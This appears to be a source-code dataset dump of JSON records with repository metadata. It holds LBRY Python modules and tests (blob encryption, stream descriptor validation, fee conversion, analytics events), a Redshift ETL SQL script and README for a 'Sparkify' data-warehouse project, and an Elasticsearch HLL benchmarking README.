write(self, data):\n max_bytes_to_write = conf.settings['BLOB_SIZE'] - self.length - 1\n done = False\n if max_bytes_to_write <= len(data):\n num_bytes_to_write = max_bytes_to_write\n done = True\n else:\n num_bytes_to_write = len(data)\n self.length += num_bytes_to_write\n data_to_write = data[:num_bytes_to_write]\n self.buff += data_to_write\n self._write_buffer()\n return done, num_bytes_to_write\n\n def close(self):\n log.debug(\"closing blob %s with plaintext len %s\", str(self.blob_num), str(self.length))\n if self.length != 0:\n self._close_buffer()\n d = self.blob.close()\n d.addCallback(self._return_info)\n log.debug(\"called the finished_callback from CryptStreamBlobMaker.close\")\n return d\n\n def _write_buffer(self):\n num_bytes_to_encrypt = (len(self.buff) // AES.block_size) * AES.block_size\n data_to_encrypt, self.buff = split(self.buff, num_bytes_to_encrypt)\n encrypted_data = self.cipher.encrypt(data_to_encrypt)\n self.blob.write(encrypted_data)\n\n def _close_buffer(self):\n data_to_encrypt, self.buff = self.buff, b''\n assert len(data_to_encrypt) < AES.block_size\n pad_len = AES.block_size - len(data_to_encrypt)\n padded_data = data_to_encrypt + chr(pad_len) * pad_len\n self.length += pad_len\n assert len(padded_data) == AES.block_size\n encrypted_data = self.cipher.encrypt(padded_data)\n self.blob.write(encrypted_data)\n\n def _return_info(self, blob_hash):\n return CryptBlobInfo(blob_hash, self.blob_num, self.length, binascii.hexlify(self.iv))\n\n\ndef greatest_multiple(a, b):\n \"\"\"return the largest value `c`, that is a multiple of `b` and is <= `a`\"\"\"\n return (a // b) * b\n\n\ndef split(buff, cutoff):\n return buff[:cutoff], buff[cutoff:]\n" }, { "alpha_fraction": 0.5834539532661438, "alphanum_fraction": 0.584901750087738, "avg_line_length": 34.036231994628906, "blob_id": "8a1642c9d7806ffa7a59d362c0928681bcb03b8a", "content_id": "1977c263c0331732e200e45124ced15671e52b90", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4835, "license_type": "permissive", "max_line_length": 99, "num_lines": 138, "path": "/lbrynet/lbrylive/StreamDescriptor.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\nimport binascii\nimport logging\nfrom lbrynet.core.cryptoutils import get_lbry_hash_obj, verify_signature\nfrom twisted.internet import defer, threads\nfrom lbrynet.core.Error import DuplicateStreamHashError, InvalidStreamDescriptorError\nfrom lbrynet.lbrylive.LiveBlob import LiveBlobInfo\nfrom lbrynet.interfaces import IStreamDescriptorValidator\nfrom zope.interface import implements\n\n\nlog = logging.getLogger(__name__)\n\n\nLiveStreamType = \"lbrylive\"\n\n\ndef save_sd_info(stream_info_manager, sd_info, ignore_duplicate=False):\n log.debug(\"Saving info for %s\", str(sd_info['stream_name']))\n hex_stream_name = sd_info['stream_name']\n public_key = sd_info['public_key']\n key = sd_info['key']\n stream_hash = sd_info['stream_hash']\n raw_blobs = sd_info['blobs']\n crypt_blobs = []\n for blob in raw_blobs:\n length = blob['length']\n if length != 0:\n blob_hash = blob['blob_hash']\n else:\n blob_hash = None\n blob_num = blob['blob_num']\n revision = blob['revision']\n iv = blob['iv']\n signature = blob['signature']\n crypt_blobs.append(LiveBlobInfo(blob_hash, blob_num, length, iv, revision, signature))\n log.debug(\"Trying to save stream info for %s\", str(hex_stream_name))\n d = stream_info_manager.save_stream(stream_hash, public_key, hex_stream_name,\n key, crypt_blobs)\n\n def check_if_duplicate(err):\n if ignore_duplicate is True:\n err.trap(DuplicateStreamHashError)\n\n d.addErrback(check_if_duplicate)\n\n d.addCallback(lambda _: stream_hash)\n return d\n\n\ndef get_sd_info(stream_info_manager, stream_hash, include_blobs):\n d = stream_info_manager.get_stream_info(stream_hash)\n\n def format_info(stream_info):\n fields = {}\n fields['stream_type'] = LiveStreamType\n fields['stream_name'] = stream_info[2]\n fields['public_key'] = stream_info[0]\n fields['key'] = stream_info[1]\n fields['stream_hash'] = stream_hash\n\n def format_blobs(blobs):\n formatted_blobs = []\n for blob_hash, blob_num, revision, iv, length, signature in blobs:\n blob = {}\n if length != 0:\n blob['blob_hash'] = blob_hash\n blob['blob_num'] = blob_num\n blob['revision'] = revision\n blob['iv'] = iv\n blob['length'] = length\n blob['signature'] = signature\n formatted_blobs.append(blob)\n fields['blobs'] = formatted_blobs\n return fields\n\n if include_blobs is True:\n d = stream_info_manager.get_blobs_for_stream(stream_hash)\n else:\n d = defer.succeed([])\n d.addCallback(format_blobs)\n return d\n\n d.addCallback(format_info)\n return d\n\n\nclass LiveStreamDescriptorValidator(object):\n implements(IStreamDescriptorValidator)\n\n def __init__(self, raw_info):\n self.raw_info = raw_info\n\n def validate(self):\n log.debug(\"Trying to validate stream descriptor for %s\", str(self.raw_info['stream_name']))\n hex_stream_name = self.raw_info['stream_name']\n public_key = self.raw_info['public_key']\n key = self.raw_info['key']\n stream_hash = self.raw_info['stream_hash']\n h = get_lbry_hash_obj()\n h.update(hex_stream_name)\n h.update(public_key)\n h.update(key)\n if h.hexdigest() != stream_hash:\n raise InvalidStreamDescriptorError(\"Stream hash does not match stream metadata\")\n blobs = self.raw_info['blobs']\n\n def check_blob_signatures():\n for blob in blobs:\n length = blob['length']\n if length != 0:\n blob_hash = blob['blob_hash']\n else:\n blob_hash = None\n blob_num = blob['blob_num']\n revision = blob['revision']\n iv = blob['iv']\n signature = blob['signature']\n hashsum = get_lbry_hash_obj()\n hashsum.update(stream_hash)\n if length != 0:\n hashsum.update(blob_hash)\n hashsum.update(str(blob_num))\n hashsum.update(str(revision))\n hashsum.update(iv)\n hashsum.update(str(length))\n if not verify_signature(hashsum.digest(), signature, public_key):\n raise InvalidStreamDescriptorError(\"Invalid signature in stream descriptor\")\n\n return threads.deferToThread(check_blob_signatures)\n\n def info_to_show(self):\n info = []\n info.append((\"stream_name\", binascii.unhexlify(self.raw_info.get(\"stream_name\"))))\n return info\n\n def get_length_of_stream(self):\n return None\n" }, { "alpha_fraction": 0.520906925201416, "alphanum_fraction": 0.5965842008590698, "avg_line_length": 40.378047943115234, "blob_id": "1a4186dfe8a45eebec69b1491e9f8c1d187e077c", "content_id": "34529c18c488574d156a7d152284ba4ac435b32d", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3396, "license_type": "permissive", "max_line_length": 379, "num_lines": 82, "path": "/tests/unit/lbrynet_daemon/test_ExchangeRateManager.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "from lbrynet.metadata import Fee\nfrom lbrynet.lbrynet_daemon import ExchangeRateManager\nfrom lbrynet import conf\nfrom lbrynet.core.Error import InvalidExchangeRateResponse\n\nfrom twisted.trial import unittest\nfrom twisted.internet import defer\nfrom tests import util\n\n\nclass FeeFormatTest(unittest.TestCase):\n def test_fee_created_with_correct_inputs(self):\n fee_dict = {\n 'USD': {\n 'amount': 10.0,\n 'address': \"bRcHraa8bYJZL7vkh5sNmGwPDERFUjGPP9\"\n }\n }\n fee = Fee.FeeValidator(fee_dict)\n self.assertEqual(10.0, fee['USD']['amount'])\n\n\nclass FeeTest(unittest.TestCase):\n def setUp(self):\n util.resetTime(self)\n\n def test_fee_converts_to_lbc(self):\n fee_dict = {\n 'USD': {\n 'amount': 10.0,\n 'address': \"bRcHraa8bYJZL7vkh5sNmGwPDERFUjGPP9\"\n }\n }\n rates = {\n 'BTCLBC': {'spot': 3.0, 'ts': util.DEFAULT_ISO_TIME + 1},\n 'USDBTC': {'spot': 2.0, 'ts': util.DEFAULT_ISO_TIME + 2}\n }\n manager = ExchangeRateManager.DummyExchangeRateManager(rates)\n result = manager.to_lbc(fee_dict).amount\n self.assertEqual(60.0, result)\n\nclass GoogleBTCFeedTest(unittest.TestCase):\n\n @defer.inlineCallbacks\n def test_handle_response(self):\n feed = ExchangeRateManager.GoogleBTCFeed()\n\n response = '// [ { \"id\": \"-2001\" ,\"t\" : \"USDBTC\" ,\"e\" : \"CURRENCY\" ,\"l\" : \"0.0008\" ,\"l_fix\" : \"\" ,\"l_cur\" : \"\" ,\"s\": \"0\" ,\"ltt\":\"\" ,\"lt\" : \"Feb 27, 10:21PM GMT\" ,\"lt_dts\" : \"2017-02-27T22:21:39Z\" ,\"c\" : \"-0.00001\" ,\"c_fix\" : \"\" ,\"cp\" : \"-0.917\" ,\"cp_fix\" : \"\" ,\"ccol\" : \"chr\" ,\"pcls_fix\" : \"\" } ]'\n out = yield feed._handle_response(response)\n self.assertEqual(0.0008, out)\n\n # check negative trade price throws exception\n response = '// [ { \"id\": \"-2001\" ,\"t\" : \"USDBTC\" ,\"e\" : \"CURRENCY\" ,\"l\" : \"-0.0008\" ,\"l_fix\" : \"\" ,\"l_cur\" : \"\" ,\"s\": \"0\" ,\"ltt\":\"\" ,\"lt\" : \"Feb 27, 10:21PM GMT\" ,\"lt_dts\" : \"2017-02-27T22:21:39Z\" ,\"c\" : \"-0.00001\" ,\"c_fix\" : \"\" ,\"cp\" : \"-0.917\" ,\"cp_fix\" : \"\" ,\"ccol\" : \"chr\" ,\"pcls_fix\" : \"\" } ]'\n with self.assertRaises(InvalidExchangeRateResponse):\n out = yield feed._handle_response(response)\n\n\n\n\nclass BittrexFeedTest(unittest.TestCase):\n def setUp(self):\n conf.initialize_settings()\n\n def tearDown(self):\n conf.settings = None\n\n @defer.inlineCallbacks\n def test_handle_response(self):\n feed = ExchangeRateManager.BittrexFeed()\n\n response ='{\"success\":true,\"message\":\"\",\"result\":[{\"Id\":6902471,\"TimeStamp\":\"2017-02-27T23:41:52.213\",\"Quantity\":56.12611239,\"Price\":0.00001621,\"Total\":0.00090980,\"FillType\":\"PARTIAL_FILL\",\"OrderType\":\"SELL\"},{\"Id\":6902403,\"TimeStamp\":\"2017-02-27T23:31:40.463\",\"Quantity\":430.99988180,\"Price\":0.00001592,\"Total\":0.00686151,\"FillType\":\"PARTIAL_FILL\",\"OrderType\":\"SELL\"}]}'\n out = yield feed._handle_response(response)\n expected= 1.0 / ((0.00090980+0.00686151) / (56.12611239+430.99988180))\n self.assertEqual(expected, out)\n\n response='{}'\n with self.assertRaises(InvalidExchangeRateResponse):\n out = yield feed._handle_response(response)\n\n response='{\"success\":true,\"result\":[]}'\n with self.assertRaises(InvalidExchangeRateResponse):\n out = yield feed._handle_response(response)\n\n\n\n" }, { "alpha_fraction": 0.5138888955116272, "alphanum_fraction": 0.5509259104728699, "avg_line_length": 32.230770111083984, "blob_id": "36203f7e4bb9a34111712546594bb064f8ba78e8", "content_id": "06b9bcd9269bff5c4702578663736dc254e24e40", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1296, "license_type": "permissive", "max_line_length": 96, "num_lines": 39, "path": "/tests/unit/analytics/test_events.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "from lbrynet.analytics import events\n\nfrom twisted.trial import unittest\n\nfrom tests import util\n\n\nclass EventsTest(unittest.TestCase):\n def setUp(self):\n util.resetTime(self)\n self.event_generator = events.Events('any valid json datatype', 'lbry123', 'session456')\n\n def test_heartbeat(self):\n result = self.event_generator.heartbeat()\n desired_result = {\n 'context': 'any valid json datatype',\n 'event': 'Heartbeat',\n 'properties': {'lbry_id': 'lbry123', 'session_id': 'session456'},\n 'timestamp': '2016-01-01T00:00:00Z',\n 'userId': 'lbry'\n }\n self.assertEqual(desired_result, result)\n\n def test_download_started(self):\n result = self.event_generator.download_started('1', 'great gatsby')\n desired_result = {\n 'context': 'any valid json datatype',\n 'event': 'Download Started',\n 'properties': {\n 'lbry_id': 'lbry123',\n 'session_id': 'session456',\n 'name': 'great gatsby',\n 'stream_info': None,\n 'download_id': '1'\n },\n 'timestamp': '2016-01-01T00:00:00Z',\n 'userId': 'lbry'\n }\n self.assertEqual(desired_result, result)\n" }, { "alpha_fraction": 0.5766825079917908, "alphanum_fraction": 0.5784338116645813, "avg_line_length": 30.2265625, "blob_id": "4d21e9e82527f74e05f616a6f66377afdeee789d", "content_id": "203f2497350ab196c73cfb78f6fb413199b7efa3", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3997, "license_type": "permissive", "max_line_length": 90, "num_lines": 128, "path": "/lbrynet/analytics/events.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import logging\n\nfrom lbrynet.core import utils\nfrom lbrynet.conf import LBRYUM_WALLET\n\nlog = logging.getLogger(__name__)\n\n\ndef get_sd_hash(stream_info):\n if not stream_info:\n return None\n try:\n return stream_info['sources']['lbry_sd_hash']\n except (KeyError, TypeError, ValueError):\n log.debug('Failed to get sd_hash from %s', stream_info, exc_info=True)\n return None\n\n\nclass Events(object):\n def __init__(self, context, installation_id, session_id):\n \"\"\"Contains all of the analytics events that can be sent\n\n Attributes:\n context: usually the output of `make_context`\n installation_id: id unique to this installation. Can be anything, but\n generally should be base58 encoded.\n session_id: id for tracking events during this session. Can be\n anything, but generally should be base58 encoded.\n \"\"\"\n self.context = context\n self.installation_id = installation_id\n self.session_id = session_id\n\n def update_context(self, context):\n self.context = context\n\n def server_startup(self):\n return self._event('Server Startup')\n\n def server_startup_success(self):\n return self._event('Server Startup Success')\n\n def server_startup_error(self, message):\n return self._event('Server Startup Error', {\n 'message': message,\n })\n\n def heartbeat(self):\n return self._event('Heartbeat')\n\n def download_started(self, *args, **kwargs):\n properties = download_properties(*args, **kwargs)\n return self._event('Download Started', properties)\n\n def download_errored(self, *args, **kwargs):\n properties = download_properties(*args, **kwargs)\n return self._event('Download Errored', properties)\n\n def download_finished(self, *args, **kwargs):\n properties = download_properties(*args, **kwargs)\n return self._event('Download Finished', properties)\n\n def error(self, log_record):\n \"\"\"Record when a log message of ERROR or higher was emitted\"\"\"\n properties = {\n 'message': log_record.message,\n 'module': log_record.module,\n 'lineno': log_record.lineno,\n 'name': log_record.name,\n 'traceback': log_record.exc_text,\n }\n return self._event('Error', properties)\n\n def metric_observed(self, metric_name, value):\n properties = {\n 'value': value,\n }\n return self._event(metric_name, properties)\n\n def _event(self, event, event_properties=None):\n return {\n 'userId': 'lbry',\n 'event': event,\n 'properties': self._properties(event_properties),\n 'context': self.context,\n 'timestamp': utils.isonow()\n }\n\n def _properties(self, event_properties=None):\n event_properties = event_properties or {}\n properties = {\n 'lbry_id': self.installation_id,\n 'session_id': self.session_id,\n }\n properties.update(event_properties)\n return properties\n\n\ndef make_context(platform, wallet):\n return {\n 'app': {\n 'name': 'lbrynet',\n 'version': platform['lbrynet_version'],\n 'python_version': platform['python_version'],\n 'build': platform['build'],\n 'wallet': {\n 'name': wallet,\n 'version': platform['lbryum_version'] if wallet == LBRYUM_WALLET else None\n },\n },\n # TODO: expand os info to give linux/osx specific info\n 'os': {\n 'name': platform['os_system'],\n 'version': platform['os_release']\n },\n 'library': {\n 'name': 'lbrynet-analytics',\n 'version': '1.0.0'\n },\n }\n\n\ndef download_properties(id_, name, stream_info=None):\n return {\n 'download_id': id_,\n 'name': name,\n 'stream_info': get_sd_hash(stream_info)\n }\n" } ]
33
annelovepeace/DEND-Project-3-Cloud-Data-Warehouse-AWS
https://github.com/annelovepeace/DEND-Project-3-Cloud-Data-Warehouse-AWS
6a3d301c6e0b0c9bc3cdd8a9fb9621f4c787139f
0d23bbddda786ec5a635bda53332eeed1616be51
88ef36ef3adf4eef184fc490d40bb9f644c6334c
refs/heads/master
2022-01-08T20:13:29.342363
2019-08-01T03:28:15
2019-08-01T03:28:15
197,876,700
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.38746315240859985, "alphanum_fraction": 0.39980342984199524, "avg_line_length": 44.336631774902344, "blob_id": "e917082768ef091c03157a9a92084b0dbb0c9d59", "content_id": "d765a2cd26357b1118358d7ed4b3efac3f482343", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9157, "license_type": "no_license", "max_line_length": 181, "num_lines": 202, "path": "/sql_queries.py", "repo_name": "annelovepeace/DEND-Project-3-Cloud-Data-Warehouse-AWS", "src_encoding": "UTF-8", "text": "import configparser\n\n\n# CONFIG\nconfig = configparser.ConfigParser()\nconfig.read('dwh.cfg')\n\n# DROP TABLES\n\nstaging_events_table_drop = \"DROP TABLE IF EXISTS staging_events\"\nstaging_songs_table_drop = \"DROP TABLE IF EXISTS staging_songs\"\nsongplay_table_drop = \"DROP TABLE IF EXISTS songplay\"\nuser_table_drop = \"DROP TABLE IF EXISTS users\"\nsong_table_drop = \"DROP TABLE IF EXISTS song\"\nartist_table_drop = \"DROP TABLE IF EXISTS artist\"\ntime_table_drop = \"DROP TABLE IF EXISTS time\"\n\n# CREATE TABLES\n\nstaging_events_table_create = (\"\"\"CREATE TABLE IF NOT EXISTS staging_events (\n se_eventid INT IDENTITY(0,1) PRIMARY KEY,\n se_artist VARCHAR(255),\n se_auth VARCHAR(255),\n se_firstname VARCHAR(255),\n se_gender VARCHAR(1),\n se_iteminsession INT,\n se_lastname VARCHAR(255),\n se_length NUMERIC,\n se_level VARCHAR(255),\n se_location VARCHAR(255),\n se_method VARCHAR(255),\n se_page VARCHAR(255),\n se_registration VARCHAR(255),\n se_sessionid INT,\n se_song VARCHAR(255),\n se_status INT,\n se_ts BIGINT,\n se_useragent VARCHAR(255),\n se_userid INT\n );\n \"\"\")\n\nstaging_songs_table_create = (\"\"\"CREATE TABLE IF NOT EXISTS staging_songs (\n song_id VARCHAR(255) PRIMARY KEY,\n num_songs INT,\n title VARCHAR(255),\n artist_name VARCHAR(255),\n artist_latitude NUMERIC,\n year INT,\n duration NUMERIC,\n artist_id VARCHAR(255),\n artist_longitude NUMERIC,\n artist_location VARCHAR(255)\n );\n \"\"\")\n\nsongplay_table_create = (\"\"\"CREATE TABLE IF NOT EXISTS songplay (\n sp_songplayid INT IDENTITY(0,1) PRIMARY KEY,\n sp_starttime TIMESTAMP NOT NULL,\n sp_userid INT NOT NULL,\n sp_level VARCHAR(255),\n sp_songid VARCHAR(255) NOT NULL,\n sp_artistid VARCHAR(255) NOT NULL,\n sp_sessionid INT,\n sp_location VARCHAR(255),\n sp_useragent VARCHAR(255)\n );\n \"\"\")\n\nuser_table_create = (\"\"\"CREATE TABLE IF NOT EXISTS users (\n u_userid int PRIMARY KEY,\n u_firstname VARCHAR(255),\n u_lastname VARCHAR(255),\n u_gender VARCHAR(255),\n u_level VARCHAR(255)\n );\n \"\"\")\n\nsong_table_create = (\"\"\"CREATE TABLE IF NOT EXISTS song (\n s_songid VARCHAR(255) PRIMARY KEY,\n s_title VARCHAR(255),\n s_artistid VARCHAR(255) NOT NULL,\n s_year INT,\n s_duration NUMERIC\n );\n \"\"\")\n\nartist_table_create = (\"\"\"CREATE TABLE IF NOT EXISTS artist (\n a_artistid VARCHAR(255) PRIMARY KEY,\n a_name VARCHAR(255),\n a_location VARCHAR(255),\n a_latitude NUMERIC,\n a_longitude NUMERIC\n );\n \"\"\")\n\ntime_table_create = (\"\"\"CREATE TABLE IF NOT EXISTS time (\n t_starttime TIMESTAMP PRIMARY KEY,\n t_hour INT,\n t_day INT,\n t_week INT,\n t_month INT,\n t_year INT,\n t_weekday INT\n );\n \"\"\")\n\n# STAGING TABLES\n\nstaging_events_copy = (\"\"\"\n copy staging_events from '{}'\n credentials 'aws_iam_role={}'\n region 'us-west-2'\n compupdate off\n JSON '{}'\n \"\"\").format(config.get('S3', 'LOG_DATA'),\n config.get('IAM_ROLE', 'ARN'),\n config.get('S3', 'LOG_JSONPATH'))\n\nstaging_songs_copy = (\"\"\"\n copy staging_songs from '{}'\n credentials 'aws_iam_role={}'\n region 'us-west-2'\n compupdate off\n JSON 'auto'\n \"\"\").format(config.get('S3', 'SONG_DATA'),\n config.get('IAM_ROLE', 'ARN'))\n\n# FINAL TABLES\n\nsongplay_table_insert = (\"\"\"INSERT INTO songplay (sp_starttime, sp_userid,\n sp_level, sp_songid,\n sp_artistid, sp_sessionid,\n sp_location, sp_useragent)\n SELECT DISTINCT\n timestamp 'epoch' + se_ts/1000 *\n interval '1 second' AS sp_starttime,\n se_userid,\n se_level,\n song_id,\n artist_id,\n se_sessionid,\n se_location,\n se_useragent\n FROM staging_events se, staging_songs ss\n WHERE se.se_page='NextSong'\n and se.se_song=ss.title\n \"\"\")\n\nuser_table_insert = (\"\"\"INSERT INTO users (u_userid, u_firstname, u_lastname, u_gender, u_level)\n SELECT DISTINCT\n se_userid,\n se_firstname,\n se_lastname,\n se_gender,\n se_level\n FROM staging_events\n WHERE se_page='NextSong'\n \"\"\")\n\nsong_table_insert = (\"\"\"INSERT INTO song (s_songid, s_title, s_artistid, s_year, s_duration)\n SELECT DISTINCT\n song_id,\n title,\n artist_id,\n year,\n duration\n FROM staging_songs\n \"\"\")\n\nartist_table_insert = (\"\"\"INSERT INTO artist (a_artistid, a_name, a_location, a_latitude, a_longitude)\n SELECT DISTINCT\n artist_id,\n artist_name,\n artist_location,\n artist_latitude,\n artist_longitude\n FROM staging_songs\n \"\"\")\n\ntime_table_insert = (\"\"\"INSERT INTO time (t_starttime, t_hour, t_day, t_week,\n t_month, t_year, t_weekday)\n SELECT DISTINCT\n t_starttime,\n EXTRACT(h from t_starttime) AS t_hour,\n EXTRACT(d from t_starttime) AS t_day,\n EXTRACT(w from t_starttime) AS t_week,\n EXTRACT(mon from t_starttime) AS t_month,\n EXTRACT(y from t_starttime) AS t_year,\n EXTRACT(dw from t_starttime) AS t_weekday\n FROM (SELECT distinct timestamp 'epoch' +\n se_ts/1000 * interval '1 second'\n AS t_starttime\n FROM staging_events)\n \"\"\")\n\n# QUERY LISTS\n\ncreate_table_queries = [staging_events_table_create, staging_songs_table_create, songplay_table_create, user_table_create, song_table_create, artist_table_create, time_table_create]\ndrop_table_queries = [staging_events_table_drop, staging_songs_table_drop, songplay_table_drop, user_table_drop, song_table_drop, artist_table_drop, time_table_drop]\ncopy_table_queries = [staging_events_copy, staging_songs_copy]\ninsert_table_queries = [songplay_table_insert, user_table_insert, song_table_insert, artist_table_insert, time_table_insert]" }, { "alpha_fraction": 0.6665777564048767, "alphanum_fraction": 0.6887170076370239, "avg_line_length": 40.655555725097656, "blob_id": "017050373f813ddc568a929444b621f810cee910", "content_id": "ccaa53ecfa2f9bcbfbbc9c8e9701ddef3129cfdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3749, "license_type": "no_license", "max_line_length": 284, "num_lines": 90, "path": "/README.md", "repo_name": "annelovepeace/DEND-Project-3-Cloud-Data-Warehouse-AWS", "src_encoding": "UTF-8", "text": "# Project Summary\n\n### Background\nThis project is to help a startup called <strong>Sparkify</strong> to understand what songs users are listening to. Sparkify has been collecting on songs and user activity on their new music streaming app. \nAs their use base and song database grow, they decide to move their processes and data onto cloud with two Amazon Web Services <strong>S3</strong> (simple storage service) and <strong>Redshift</strong> (Internet hosting service and data warehouse product). \n\n\n### Datasets\nTwo datasets that reside in S3:\n\n<ol>\n <li><strong>Song Dataset</strong></li>\n > Each file is in JSON format and contains metadata about a song and the artist of that song. <br>\n > File names are like 'song_data/A/B/C/TRABCEI128F424C983.json' etc. <br>\n > In each file, data are like: {\"num_songs\": 1, \"artist_id\": \"ARJIE2Y1187B994AB7\", \"artist_latitude\": null, \"artist_longitude\": null, \"artist_location\": \"\", \"artist_name\": \"Line Renaud\", \"song_id\": \"SOUPIRU12A6D4FA1E1\", \"title\": \"Der Kleine Dompfaff\", \"duration\": 152.92036, \"year\": 0}\n <li><strong>Log Dataset</strong></li>\n > Each file is in JSON format and contains logs on user activity on the app <br>\n > File names are like 'log_data/2018/11/2018-11-12-events.json' etc. <br>\n > below is an example of what the data in a log file, 2018-11-12-events.json, looks like.\n</ol>\n\n![](img/log-data-examples.png)\n \n\n### Tasks\n1. **Redshift cluster setup**\n - launch a readshift database dc2.large cluster with 4 nodes\n - create an IAM role that has read access to S3\n2. **Designing tables in _'sql_queries.py'_**\n - design fact and dimension tables for a star schema\\\n fact table: songplays\\\n dimension tables: users, songs, artists, time\n - design staging tables: staging_events, staging_songs\n - write a CREATE statement for each of these tables\n - write a DROP statements to drop tables if the tables already exist\n3. **Creating tables in _'create_tables.py'_**\n - connect to the database\n - create fact, dimension, staging tables\n4. **Buidling ETL pipeline in _'etl.py'_**\n - implement the logic to load data from S3 to staging tables on Redshift\n - implement the logic to load data from staging tables to analytics tables on Redshift\n5. **Cluster cleanup**\n - remember to delete the Redshift cluster when finish\n\n---\n# To run the Python scripts\n 1. Get _[Cluster]_ and _[IAM_ROLE]_ from Redshift to fill dwh.cfg file\n 2. Click _File_ -> _New_ -> _Console_ at top menu bar\n 3. Select kernel _Python3_\n 4. Type `%run create_tables.py` in the console cell\n 5. Click _Run_ -> _Run selected cell_ at top menu bar\n 6. Type `%run etl.py` in the console cell\n 7. Click _Run_ -> _Run selected cell_ at top menu bar\n \n \n---\n# Files in the repository\nThe project workspace includes five files:\n- **_create_tables.py_** creates the fact and dimension tables for the star schema in Redshift.\n- **_etl.py_** loads data from S3 into staging tables on Redshift and then process that data into the fact and dimension tables on Redshift.\n- **_sql_queries.py_** contains all sql queries, which are imported into the last two files above.\n- **_dwh.cfg_** stores cluster, IAM role, S3 file path information, which are imported into the last three files above.\n- **_README.md_** this file provides discussion on the project.\n \n\n---\n# Results\n\n**Analysis on songplay table**\n\n1. The most popular song is 'You're The One'\n\n query:\n \n ![](img/query1_song_code.png) \n \n result:\n \n ![](img/query1_song_result.png)\n\n \n2. The most popular artistis 'Dwight Yoakam'\n\n query:\n \n ![](img/query2_artist_code.png) \n\n result:\n\n ![](img/query2_artist_result.png)\n" } ]
2
Parsely/elasticsearch-hll-rollups
https://github.com/Parsely/elasticsearch-hll-rollups
6650e3fefd7de2f5a5af32fcd2d02e60bbdd4524
17fa722aa53c2918831326c53512bca4f11fa301
c5f2e7ed920131680a7fad9835b92266bb134e1d
refs/heads/master
2023-08-27T05:35:11.316722
2019-09-16T20:46:02
2019-09-16T20:46:02
208,894,205
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.6778169274330139, "alphanum_fraction": 0.7473591566085815, "avg_line_length": 55.79999923706055, "blob_id": "b9faaf04776abc9f9b716fd50d87cc4827acf4d5", "content_id": "b06c462deb80567c14f35b3c63d0f8b87e7d8c9b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2272, "license_type": "permissive", "max_line_length": 227, "num_lines": 40, "path": "/benchmarks/README.md", "repo_name": "Parsely/elasticsearch-hll-rollups", "src_encoding": "UTF-8", "text": "# To get running\n\n## Generate some data\n\n`generate_data.py` will handle generating documents with various numbers\nof UUIDs in them:\n\n1. Tiny: 100k docs, 1 to 4 ids -- `python generate_data.py 100000 --num-services 100 --jobs-per-service 1000 --jobs-per-container 2 --job-count-variation 100 > rally-tracks/documents-tiny.json`\n2. Small: 100k docs, 50 to 150 ids -- `python generate_data.py 100000 --num-services 100 --jobs-per-service 1000 --jobs-per-container 100 --job-count-variation 50 > rally-tracks/documents-small.json`\n3. Med: 100k docs, 400 to 600 ids -- `python generate_data.py 100000 --num-services 100 --jobs-per-service 1000 --jobs-per-container 500 --job-count-variation 20 > rally-tracks/documents-med.json`\n4. Large: 100k docs, 1440 to 2160 ids -- `python generate_data.py 100000 --num-services 100 --jobs-per-service 1000 --jobs-per-container 1800 --job-count-variation 20 > rally-tracks/documents-large.json`\n5. XLarge: 100k docs, 2250 to 2750 ids -- `python generate_data.py 100000 --num-services 100 --jobs-per-service 1000 --jobs-per-container 2500 --job-count-variation 10 > rally-tracks/documents-xlarge.json`\nNOTE: HLL Precision 11 has an LC -> HLL threshold of 1800\n\n`track.json` expects `documents_tiny.json` right now. If you want to\nuse a different file, you'll need to edit that.\n\n\n## Put this at the bottom ~/.rally/rally.ini\n\nThis will enable the plugin within esrally. Use your own path, obviously.\n\n\n```\n[distributions]\nrelease.cache = true\nplugin.elasticsearch-hll-rollups.release.url=file:///Users/kfb/src/ct/elasticsearch-hll-rollups/build/distributions/elasticsearch-hll-rollups-0.0.1.zip\n```\n\n## Run `esrally`\n\nFor HLLs: `esrally --track-path=./rally-tracks/cardinality-perf --distribution-version=6.8.2 --elasticsearch-plugins=\"elasticsearch-hll-rollups\" --on-error=abort --car=\"4gheap\" --challenge=cardinality-hll`\n\nFor a baseline using `long`s: `esrally --track-path=./rally-tracks/cardinality-perf --distribution-version=6.8.2 --elasticsearch-plugins=\"elasticsearch-hll-rollups\" --on-error=abort --car=\"4gheap\" --challenge=cardinality-long`\n\n## TODO:\n\n- [ ] Generate files and put them in S3\n- [ ] Analyze some Parse.ly diagnostic data to generate a realistic sample\n- [ ] Figure out a better way to switch between data files.\n" }, { "alpha_fraction": 0.6712213754653931, "alphanum_fraction": 0.6749936938285828, "avg_line_length": 49.12604904174805, "blob_id": "d24a1fb2d7ea4c947da4f0e3112cafd63058da25", "content_id": "e89a905dcfe195aa31ba7be12a785a290b5fe101", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 11929, "license_type": "permissive", "max_line_length": 149, "num_lines": 238, "path": "/src/test/java/com/parsely/elasticsearch/index/mapper/hll/HLLFieldMapperTests.java", "repo_name": "Parsely/elasticsearch-hll-rollups", "src_encoding": "UTF-8", "text": "/*\n * Licensed to Elasticsearch under one or more contributor\n * license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright\n * ownership. Elasticsearch licenses this file to you under\n * the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * 